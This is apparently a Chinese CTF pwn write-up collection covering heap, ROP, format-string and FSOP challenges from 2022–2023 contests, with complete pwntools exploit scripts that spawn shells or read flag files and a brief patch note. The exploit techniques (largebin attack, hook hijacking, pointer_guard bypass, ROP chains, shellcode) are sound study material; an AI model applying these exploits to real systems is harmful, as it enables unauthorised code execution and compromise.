add(p64(0)+p64(ld_base+ld.sym["_rtld_global"]+0xf90)) #10
add(p64(magic)) #11

address = libc_base + libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x100
frame.rsp = address
frame.rip = libc_base + libc.sym['read']
# print(frame)

free(10)
add(p64(0)+p64(ld_base+ld.sym["_rtld_global"]+0x980)) #12
add(p64(0)*2 + p64(ld_base + ld.sym['_rtld_global'] + 0x988) + p64(0)*2 + p64(libc_base + libc.sym['setcontext'] + 61) + bytes(frame)[0x28:]) # 13

free(10)
add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14
io.sendlineafter("Please input your choice > ", b'1')

free(10)
add(p64(0) + p64(heap_base + 0xb10)) # 15
add(p64(0) + p64(0x88)) # 16
add(b"\n") # 17
io.sendlineafter(b"Please input your choice > ", b'1') # 18

pop_rax_ret = libc_base + 0x44c70
pop_rdi_ret = libc_base + 0x121b1d
pop_rsi_ret = libc_base + 0x2a4cf
pop_rdx_ret = libc_base + 0xc7f32
pop_rcx_rbx_ret = libc_base + 0xfc104
pop_r8_ret = libc_base + 0x148686
syscall = libc_base + 0x6105a

orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
orw_rop += p64(pop_rdi_ret) + p64(0x80000)
orw_rop += p64(pop_rsi_ret) + p64(0x1000)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
orw_rop += p64(pop_r8_ret) + p64(3)
orw_rop += p64(libc_base + libc.sym['mmap'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(libc_base + libc.sym['writev'])
orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)

gdb.attach(io)
pause()
io.send(orw_rop)
# gdb.attach(io)

io.interactive()

PATCH

这里学一下师傅的修复方法,不利用 en_frame,而利用 term_proc,这是个空函数:

image-20230910215121063

接着看一下 free 时的环境:

image-20230910215622844

因此构造如下 patch,这里不能直接将 rdi 指向的地方清 0 ,我们保留了 rdi 为 heap[i] 使得其在 jmp _free 时得以被释放:

image-20230910221643316

5. MaskNote

伪菜单题。检查一下题目的保护,发现 PIE 和 Canary 保护没开:

image-20230911100719035

题目一开始申请了一块可读可写可执行的空间,可用于写入 shellcode:

image-20230911100505587

然后看一下关键代码逻辑,sprintf 的功能和 printf 其实差不多,区别在于 sprintf 将打印结果输出到 buf 中,而 printf 则是将结果输出到屏幕上,因此 sprintf 很容易导致栈溢出

image-20230911100828519

如下图所示,check_Mask函数对 Mask 变量的值做了检查,但未检测%c,因此我们可以通过给 Mask 赋值%128c来达成栈溢出:

image-20230911101455306

值得注意的是,我们在布置的返回地址的时候不能直接写入0x80808000,因为 sprintf 会被 \x00 给截断,可以写入0x80808010

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.arch = 'amd64'

io = process("./MaskNote")

name = b'\x90'*0x10
name += asm('''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')
name = name.ljust(128, b'a')

mask = b'%136c'+p64(0x80808010)
# mask = b'%s%s'+b'\x10\x80\x80\x80'
io.sendafter(b"your name:", name)
# gdb.attach(io, "b *0x401813")
# pause()
io.sendafter(b"Mask:", mask)
io.sendlineafter(b"Your choice:>>", b"5")

io.interactive()

2023Ciscn西南赛区

参考的这位的[原创]2023ciscn西南赛区pwn Writeup

1. heap223

libc2.23 题,甚是怀念。题目规定了 3 种大小的堆:小于 0x100 的 small_heap,等于 0x100 的 mid_heap,大于 0x100 的 big_heap。并在 bss 段上维护各类堆块的最近申请的一个指针与其 size 大小。

漏洞在于释放堆块的 UAF,同时也清空了其 size 大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_400BF9()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("please enter which heap you want to delete:");
__isoc99_scanf("%d", &v1);
if ( *(&small_heap + v1) ) // 删除指定类heap
{
free(*(&small_heap + v1));
small_heap_size[v1] = 0;
puts("deleted heap");
}
else
{
puts("illegal index or unmalloc heap");
}
return __readfsqword(0x28u) ^ v2;
}

并且 edit 功能和 show 功能都有限制:只能 edit small_heap,只能 show mid_heap。

利用流程:

  1. 申请一个 0x300 的大堆块,申请一个 0x38 的小堆块(防止合并)。

  2. 释放大堆块。

  3. 申请一个中堆块,并泄露 libc。

    注意!此时 bss 段上维护的 big_heap_ptr 和 mid_heap_ptr 都指向了同一处,即最初的大堆块。

  4. 释放中堆块。

    注意!此时中堆块和割裂的大堆块又合并了。

  5. 申请一个小堆块。

    注意!此时bss 段上维护的 big_heap_ptr、mid_heap_ptr 和 small_heap_ptr 都指向了同一处,即最初的大堆块。

  6. 释放大堆块,实际上释放了小堆块,而我们又有小堆块的写权限,故可以申请到 __malloc_hook - 0x23 的位置,劫持为 one_gadget 即可。

  7. 需要注意的是,利用 add 函数中的 malloc 并不能满足 one_gadget 的条件,出题者给我们提供了另一个调用了 malloc 的函数入口,触发即可,不过打 __realloc_hook 也可以。

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

io = process("./pwn")
libc = ELF("./libc-2.23.so")

menu = b"input:"
def add(size, content):
io.sendlineafter(menu, b"1")
io.sendlineafter(b"please enter size of malloc :", str(size).encode())
io.sendafter(b"please enter contents of your heap:", content)

def show_mid():
io.sendlineafter(menu, b"2")

def free(idx):
io.sendlineafter(menu, b"3")
io.sendlineafter(b"please enter which heap you want to delete:", str(idx).encode())

def edit_small(content):
io.sendlineafter(menu, b"4")
io.sendlineafter(b"please enter what you want to edit:", content)

def help():
io.sendlineafter(menu, b"5")

add(0x300, b'a'*8)
add(0x38, b'a'*8)
free(2)

add(0x100, b'\x00')
show_mid()
leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
lb = leak - (0x7f97907c4e00-0x7f9790400000)
log.success("lb=>"+hex(lb))

malloc_hook = lb + libc.sym["__malloc_hook"]
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

free(1)
add(0x68, b'anza')
free(2)
edit_small(p64(malloc_hook-0x23))

shell = lb + one_gadget[1]
add(0x68, b'anza')
add(0x68, b'a'*0x13 + p64(shell))

help()
# gdb.attach(io)

io.interactive()

2. over

初始化的时候在 bss 上放了个 puts 的 libc 地址:

image-20230919192227848

并且可以进行执行,而 name 是我们可控的。思路一下子就变得很明确。

image-20230919192305583

另外还有三个操作,分别是对 bss 段上的数进行加、减、抑或。而漏洞都出奇的一致,选择数的时候可以为负号,导致可以修改到 bss 上的其他值。计算 qword_4060 至 puts_addr 的偏移为 10,故 num 为 -2 即可。

image-20230919192740631

libc 已知,因此只需要将 puts_addr 的位置减去固定偏移为 system,再进行调用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process("./pwn")
libc = ELF("./libc-2.31.so")

offset = libc.sym["puts"] - libc.sym["system"]
name = b"/bin/sh\x00"
choice = b'2'
io.sendlineafter(b"\n", name)
io.sendlineafter(b"\n", choice)
io.sendlineafter(b"\n", b'-2')
io.sendlineafter(b"\n", str(offset).encode())

choice = b'4'
io.sendlineafter(b"\n", choice)
io.interactive()

3. artist

libc 2.31的菜单堆题,但和往常还是有很大变化。

  1. 只能申请 0x80 大小的堆块。
  2. 打印功能和释放功能一起,有两种选择,一种先打印后释放,另一种修改 0x10 字节后再打印释放。释放中没有 UAF。
  3. 有一个漏洞,可以维护有且仅有一个堆块指针,并且每次调用都会修改 0x10 大小字节。

既然能维护一个已释放的堆块指针并能对其进行写入,实际上也是限制版的 UAF 漏洞。

利用过程如下:

  1. 申请几个堆块释放之后,再申请回来,此时堆块中残留着一些堆块信息。再次释放就可以泄露 heap_base。
  2. 利用 UAF 劫持到 tcache,填满 0x90 大小对应的堆块。
  3. 释放堆块到 unsorted bin,申请回来再释放,得到 Libc_base。
  4. 利用 UAF 劫持 free_hook 为 system。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

io = process("./pwn")
libc = ELF("./libc-2.31.so")

chance = 1

def give_name(name):
io.sendafter(b'\n', name)

def compose(content):
io.sendafter(b'> \n', b'1')
io.sendafter(b'input some\n', content)

def exhibit_edit(idx, content):
io.sendafter(b'> \n', b'2')
io.sendlineafter(b'idx: \n', str(idx).encode())
io.sendlineafter(b'Would you like to make final edits?\n', b'1')
io.sendafter(b'input your content\n', content)

def exhibit(idx):
io.sendafter(b'> \n', b'2')
io.sendlineafter(b'idx: \n', str(idx).encode())
io.sendlineafter(b'Would you like to make final edits?', b'2')

def script(idx, choice, content):
global chance
io.sendafter(b'> \n', b'3')
if chance == 1:
io.sendlineafter(b'idx: \n', str(idx).encode())
chance = chance - 1
io.sendlineafter(b'do you want crazy\n', choice)
io.sendafter(b"Go ahead and doodle for your artistic inspiration.\n", content)

give_name(b'anza')
compose(b'a') #0
compose(b'a') #1
compose(b'a') #2
exhibit(2)
exhibit(0)
exhibit(1)
compose(b'a') #3
compose(b'a') #4

script(3, b'no', b'c')
exhibit(3)
io.recvuntil(b'Please enjoy your masterpiece.\n')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x263
log.success("heap_base ==> "+hex(heap_base))

script(3, b'no', p64(heap_base+0x10))
compose(b'a') #5
compose(p16(0)*7 + p16(7)) #6

exhibit(5)
exhibit(4)

exhibit_edit(6, p8(0)*0x10)

compose(b'a') #7
exhibit(7)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (0x7fc8d867dc61-0x7fc8d8491000)
log.success("libc_base ==> "+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

compose(b'a') #8
compose(b'b') #9

exhibit(8)
exhibit(9)
script(3, b'no', p64(free_hook))

compose(b'/bin/sh\x00') #10
compose(p64(system))

exhibit(10)
# gdb.attach(io)

io.interactive()

2023陇剑杯半决赛/总决赛RHG

就回温一些最基础的 ret2 系列。

day1

bin1

静态链接,gadgets 很多,64 位,打 ret2syscall。

image-20230921141824811
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

io = process("./bin1")

io.sendlineafter(b"Please shoot me", b'/bin/sh')

pop_rdi_ret = 0x00000000004006a6
pop_rsi_ret = 0x0000000000410023
pop_rdx_ret = 0x0000000000449085
pop_rax_ret = 0x00000000004005af
syscall = 0x000000000040129c
binsh = 0x6BC3A0

payload = b'a'*40
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)

io.sendlineafter(b"yes or no?\n", payload)

io.interactive()

bin2

同上,不过是 32 位的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process("./bin2")

pop_eax_ret = 0x080488fc
pop_edx_ecx_ebx_ret = 0x0806e111
syscall = 0x080488f8
binsh = 0x80DA068

payload = b'a'*(0x58+4)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0)*2 + p32(binsh)
payload += p32(syscall)
io.sendlineafter(b"Please start your challenge\n", payload)

io.interactive()

bin3

system 和 /bin/sh 都有。

image-20230921142755879
1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process("./bin3")

system = 0x80485BB
binsh = 0x804B028
payload = b'a'*(0x58+4) + p32(system) + p32(binsh)
io.sendlineafter(b"You still only have one input opportunity.\n", payload)

io.interactive()

bin4

一道格式化字符串,有后门,在栈上找半天跳板打返回地址,甚至有了爆破的想法:

image-20230921145442791

结果程序 relro 没开,打 .init_array 即可:

image-20230921145704759 image-20230921150937751
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io = process("./bin4")

# gdb.attach(io, 'b *0x400759')
# pause()

binsh = 0x4006F8
# payload = b'%252c%8$hhn'
payload = b'%248c%8$hhn'
payload += b'a'*5
payload += p64(0x6009B8)
io.sendafter(b"Welcome to RHG! Enter your fmt >>>\n", payload)

io.interactive()

bin5

也是 ret2syscall。

image-20230921151736858
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process("./bin5")

binsh = 0x6BA0F0
pop_rax_ret = 0x00000000004005af
pop_rdi_ret = 0x00000000004006a6
pop_rsi_ret = 0x00000000004105c3
pop_rdx_ret = 0x0000000000449575
syscall = 0x000000000040129c

payload = b'a'*0x28
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)

io.sendafter(b"elf file!\n", payload)

io.interactive()

day2

bin20

64 位栈溢出,binsh 和 system 都有。

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process("./bin20")

pop_rdi_ret = 0x00000000004007d3
binsh = 0x0602048
system = 0x40070B
payload = b'a'*0x58 + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendline(payload)
io.interactive()

bin21

栈溢出,有后门,注意对齐。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

io = process("./bin21")

backdoor = 0x4006E8
payload = b'a'*0x28 + p64(backdoor+1)
gdb.attach(io, "b *0x400740")
pause()
io.send(payload)

io.interactive()

bin22

动态链接的 32 位,无后门,需要 ret2libc,注意链子的构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

io = process("./bin22")
elf = ELF("./bin22")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io.sendlineafter(b"how much character do you want to send?\n", b'50')
payload = b'a'*0x20
payload += p32(elf.sym["puts"]) + p32(elf.sym["main"]) + p32(elf.got["puts"])

# gdb.attach(io, "b *0x804867B")
io.send(payload)
libc_base = u32(io.recvuntil(b'\xf7')[-4:]) - 0x73260
log.success("libc_base ==> "+hex(libc_base))
# print(hex(elf.sym["puts"]))q

binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym["system"]

io.sendlineafter(b"how much character do you want to send?\n", b'50')
payload = b'a'*0x20
payload += p32(system) + p32(elf.sym["main"]) + p32(binsh)
io.send(payload)

io.interactive()

bin23

跟 day1 的 bin5 大差不差。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process("./bin23")

pop_rax_ret = 0x00000000004005af
pop_rdi_ret = 0x00000000004006a6
pop_rsi_ret = 0x00000000004105c3
pop_rdx_ret = 0x0000000000449575
syscall = 0x000000000040129c
binsh = 0x493328

payload = b'a'*0x28
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)

io.sendafter(b"elf file!\n", payload)

io.interactive()

bin24

格式化字符串,第一次泄露 libc,第二次劫持 printf_got 为 system,计算偏移有些麻烦。

image-20230921194450754
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

io = process("./bin24")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

printf_got = 0x601028
payload = b'%39$p'
# payload = payload.ljust(0x100, b'a')
# offset = 0x7f0df258e040 - 0x7f0df2200000
# gdb.attach(io, "b *0x400790")
# pause()

io.send(payload)
io.recvuntil(b'0x')
libc_base = int(io.recv(12), 16) - (0x7fd389229d90 - 0x7fd389200000)
log.success("libc_base ==> "+hex(libc_base))

printf = libc_base + libc.sym["printf"]
system = libc_base + libc.sym["system"]
log.success("printf ==> "+hex(printf))
log.success("system ==> "+hex(system))

off1 = (system >> 16) & 0xff
off2 = (system & 0xffff) -off1-4

payload = b"%" + str(off1).encode() + b"c"
payload += b"%10$hhn"
payload = payload.ljust(16, b'a')
payload += b"%" + str(off2).encode() + b"c"
payload += b"%11$hn"
payload = payload.ljust(32, b'\x00')
payload += p64(printf_got+2) + p64(printf_got)
print(len(payload))

# gdb.attach(io, "b *0x400790")
# pause()
io.send(payload)
io.send("/bin/sh\x00")

io.interactive()

2022强网杯初赛

1. house of cat

先忽略逆向问题,看一下菜单:

image-20230925195005578

add 功能函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssize_t add()
{
unsigned __int64 choice; // [rsp+0h] [rbp-10h]
size_t size; // [rsp+8h] [rbp-8h]

print("plz input your cat idx:\n");
choice = get_choice();
if ( choice > 0xF || *(&heap + choice) ) // 最多申请16个堆块
return print("invalid!\n");
print("plz input your cat size:\n");
size = get_choice();
if ( size <= 0x417 || size > 0x46F ) // size大小在0x418~0x468
return print("invalid size!\n");
*(&heap + choice) = calloc(1uLL, size);
if ( !*(&heap + choice) )
return print("error!\n");
heap_size[choice] = size;
print("plz input your content:\n");
return read(0, *(&heap + choice), heap_size[choice]);
}

delete 功能函数:

1
2
3
4
5
6
7
8
9
10
11
void delete()
{
unsigned __int64 choice; // [rsp+8h] [rbp-8h]

print("plz input your cat idx:\n");
choice = get_choice();
if ( choice <= 0xF && *(&heap + choice) )
free(*(&heap + choice)); // UAF漏洞
else
print("invalid!\n");
}

show 功能函数:

1
2
3
4
5
6
7
8
9
10
11
ssize_t sub_188C()
{
unsigned __int64 choice; // [rsp+8h] [rbp-8h]

print("plz input your cat idx:\n");
choice = get_choice();
if ( choice > 0xF || !*(&heap + choice) )
return print("invalid!\n");
print("Context:\n");
return write(1, *(&heap + choice), 0x30uLL); //泄露0x30大小且不会被\x00截断
}

edit 功能函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t edit()
{
unsigned __int64 choice; // [rsp+8h] [rbp-8h]

if ( two_chance <= 0 ) //两次机会
return print("nonono!!!!\n");
--two_chance;
print("plz input your cat idx:\n");
choice = get_choice();
if ( choice > 0xF || !*(&heap + choice) )
return print("invalid!\n");
print("plz input your content:\n");
return read(0, *(&heap + choice), 0x30uLL); //修改0x30大小
}

显然可以进行 largebin_attack,且允许两次。

另外题目开启了沙箱,需要 orw。

large_bin_attack

示例如下:

  1. 申请一个 0x428 大小的 chunk0,申请另一个堆防止合并。
  2. 释放 chunk0 进入 unsorted_bin。
  3. 申请一个 0x438 大小(>0x428)的 chunk1,chunk0 进入 large_bin。
  4. 申请一个 0x418 大小的 chunk2,申请另一个堆防止合并。
  5. 释放 chunk2 进入 unsorted+bin。
  6. 修改 chunk0 的 bk_next 为 target-0x20。
  7. 申请一个 0x438 大小的 chunk3,target 被写入 chunk2 的内容。

解法1

思路:由于 stderr 在 libc 上,因此可以打 stderr+__malloc_assert:

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

程序无法正常退出,因此可以通过改小 top_chunk 触发 __malloc_assert。并且我们还需绕过指针保护,保护指针的值位于 fs[0x30] 即 pointer_guard,这是在 libc 下面的一块空间。(ubuntu2.35-0-3是有的,ubuntu2.35-0-3.3就比较奇怪)

由于可以申请的堆块在 0x418~0x468,并且可以修改两次,利用一次 largebin_attack 劫持 stderr,利用一次 largebin_attack 劫持 pointer_guard,最后利用 large_bin 的 UAF 构造堆风水修改 top_chunk 的 size,再申请一个大堆块触发 __malloc_attack。

这里参考 verfish 师傅的脚本,说一下几个重要的过程:

  1. 泄露 libc 和 heap 基址,堆块 0 先进入 unsortedbin,又由于申请了更大的堆块进入了 largebin:
1
2
3
4
5
6
add(0, 0x428, 'verf1sh')
add(1, 0x428, './flag\x00')
free(0)
add(15, 0x448, './flag\x00')
add(14, 0x448, './flag\x00')
show(0)
  1. 再将 largebin 中的堆块申请回来用于下一次 largebin_attack:
1
add(2, 0x428, 'verf1sh')
  1. 申请存放 io_file 的偏小堆块,此时需要将 io_file 写入,因为 edit 只有两次机会,不能浪费,并释放一个偏大堆块进入 unsortedbin:
1
2
add(3, 0x418, fake_file)
free(2)
  1. 再申请一个大堆块,填入 orw 链子,此时unsortedbin 中的偏大堆块进入 largebin,再申请一个堆块备用:
1
2
add(13, 0x438, orw)
add(12, 0x438, 'verf1sh')
  1. 释放掉内容为 fake_io_file 的偏小堆块,修改 largebin 的 bk_next 指针指向 stderr-0x20,再申请一个大堆块,达成 large_bin_attack:
1
2
3
free(3)
edit(2, p64(libc_base+0x21a0d0)*2 + p64(heap_base) + p64(stderr-0x20))
add(11, 0x458, 'verf1sh')
  1. 同理,修改 fs[0x30] 即 pointer_guard 为一个堆地址:
1
2
3
4
5
6
7
free(15)
add(10, 0x450, 'verf1sh')
free(12)
success('pointer_guard-0x20 -> {}'.format(hex(pointer_guard-0x20)))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
add(9, 0x450, 'verf1sh')
add(8, 0x450, 'verf1sh')
  1. 利用 unsortedbin 和 topchunk 合并的性质,修改 topchunk 的 size:
1
2
3
4
5
6
7
8
9
free(8)
free(9)
free(10)
add(7, 0x460, b'a'*0x458 + p64(0x471))
add(6, 0x460, b'a'*0x458 + p64(0x451))

free(6)
free(9)
add(4, 0x460, p64(0) + p64(0x100))
image-20230925210737374
  1. 申请超过 topchunk 的 size 大小的堆块,触发 __malloc_assert。

板子如下:

1
2
3
4
5
6
7
8
fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
image-20230925212843307

image-20230925212856312

其中 heap_base+0x1960 即修改后 pointer_guard 的值(一个堆地址),帮助解密执行 magicgadget。

image-20230925213120244

最后脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from pwn import *

#context.log_level = 'debug'
binary = './houseofcat'
local = 1
if local:
p = process(binary)
libc = ELF('./libc.so.6')
else:
p = remote('39.107.237.149', 15255)
libc = ELF('./libc.so.6')


def add(index, size, content):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '1')
p.sendlineafter('idx:\n', str(index))
p.sendlineafter('size:\n', str(size))
p.sendafter('content:\n', content)

def edit(index, content):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '4')
p.sendlineafter('idx:\n', str(index))
p.sendafter('content:\n', content)

def free(index):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '2')
p.sendlineafter('idx:\n', str(index))


def show(index):
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '3')
p.sendlineafter('idx:\n', str(index))



# gdb.attach(p)#, 'b *$rebase(0x181b)')

payload = 'LOGIN | r00t QWBQWXF admin'
p.sendafter('~\n', payload)

# payload = b'CAT | r00t QWBQWXF \xff\xff\xff\xff$'
# p.sendlineafter('~\n', payload)
add(0, 0x428, 'verf1sh')
add(1, 0x428, './flag\x00')
# add(2, 0x438, 'verf1sh')
# add(3, 0x420, 'verf1sh')
free(0)
add(15, 0x448, './flag\x00')
add(14, 0x448, './flag\x00')
show(0)
p.recvuntil('Context:\n')
libc_base = u64(p.recv(8)) - 0x21a0d0
success('libc_base -> {}'.format(hex(libc_base)))
p.recv(8)
heap_base = u64(p.recv(8))#& 0xfffffffff000
success('heap_base -> {}'.format(hex(heap_base)))

flag_path = heap_base + 0x440
rtld_global = libc_base + 0x278040
stderr = libc_base + libc.sym['stderr']
pop_rdi = libc_base + 0x000000000002a3e5
setcontext = libc_base + libc.sym['setcontext']
ret = libc_base + 0x0000000000029cd6
bin_sh = libc_base + 0x00000000001d8698
system = libc_base + libc.sym['system']
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0
io_cookie_jumps_addr = libc_base + 0x215b80
pointer_guard = libc_base - 0x2890

fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)


pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
close = libc_base + libc.sym['close']
syscall = Read + 0x10

orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

add(2, 0x428, 'verf1sh')
add(3, 0x418, fake_file)
free(2)
add(13, 0x438, orw)

# pause()
add(12, 0x438, 'verf1sh')
free(3)
edit(2, p64(libc_base+0x21a0d0)*2 + p64(heap_base) + p64(stderr-0x20))
add(11, 0x458, 'verf1sh')

free(15)
add(10, 0x450, 'verf1sh')
free(12)
success('pointer_guard-0x20 -> {}'.format(hex(pointer_guard-0x20)))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
add(9, 0x450, 'verf1sh')
add(8, 0x450, 'verf1sh')

free(8)
free(9)
free(10)
add(7, 0x460, b'a'*0x458 + p64(0x471))
add(6, 0x460, b'a'*0x458 + p64(0x451))


free(6)
free(9)
# pause()
add(4, 0x460, p64(0) + p64(0x100))
success('setcontext -> {}'.format(hex(setcontext+61)))
# pause()
gdb.attach(p, "b *$rebase(0x177F)")
pause()
p.sendlineafter('~\n', b'CAT | r00t QWBQWXF \xff\xff\xff\xff$')
p.sendlineafter('choice:\n', '1')
p.sendlineafter('idx:\n', str(5))
p.sendlineafter('size:\n', str(0x460))

p.interactive()

注意沙箱禁用了 fd > 2 的文件描述符,因此先 close(0) 再 open 便可拿到文件描述符 0,读出 flag。

解法2

同样也是打 stderr+__malloc_assert,但该方法不用劫持 pointer_guard。一次 large_bin_attack 打 stderr,一次 large_bin_attack 打 topchunk 的 size。

主要的 stderr 构造如下即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
io_addr = heap_base + 0x290
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(io_addr+0xb0)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(io_addr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
